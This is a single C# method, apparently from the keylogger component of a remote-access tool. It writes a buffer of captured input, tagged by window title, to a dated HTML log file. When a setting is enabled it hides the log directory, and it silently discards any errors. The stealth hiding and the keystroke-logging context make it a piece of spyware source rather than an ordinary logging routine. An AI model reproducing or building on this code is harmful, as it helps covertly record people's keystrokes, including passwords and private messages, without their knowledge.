private void WriteFile() { bool writeHeader = false; string filename = Path.Combine(LogDirectory, DateTime.Now.ToString("MM-dd-yyyy")); try { DirectoryInfo di = new DirectoryInfo(LogDirectory); if (!di.Exists) { di.Create(); } if (Settings.HIDELOGDIRECTORY) { di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; } if (!File.Exists(filename)) { writeHeader = true; } StringBuilder logFile = new StringBuilder(); if (writeHeader) { logFile.Append( "<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " + DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br><br>"); logFile.Append("<style>.h { color: 0000ff; display: inline; }</style>"); _lastWindowTitle = string.Empty; } if (_logFileBuffer.Length > 0) { logFile.Append(_logFileBuffer); } DosyaYardımcısı.LogDosyasıYaz(filename, logFile.ToString()); logFile.Clear(); } catch { } _logFileBuffer.Clear(); }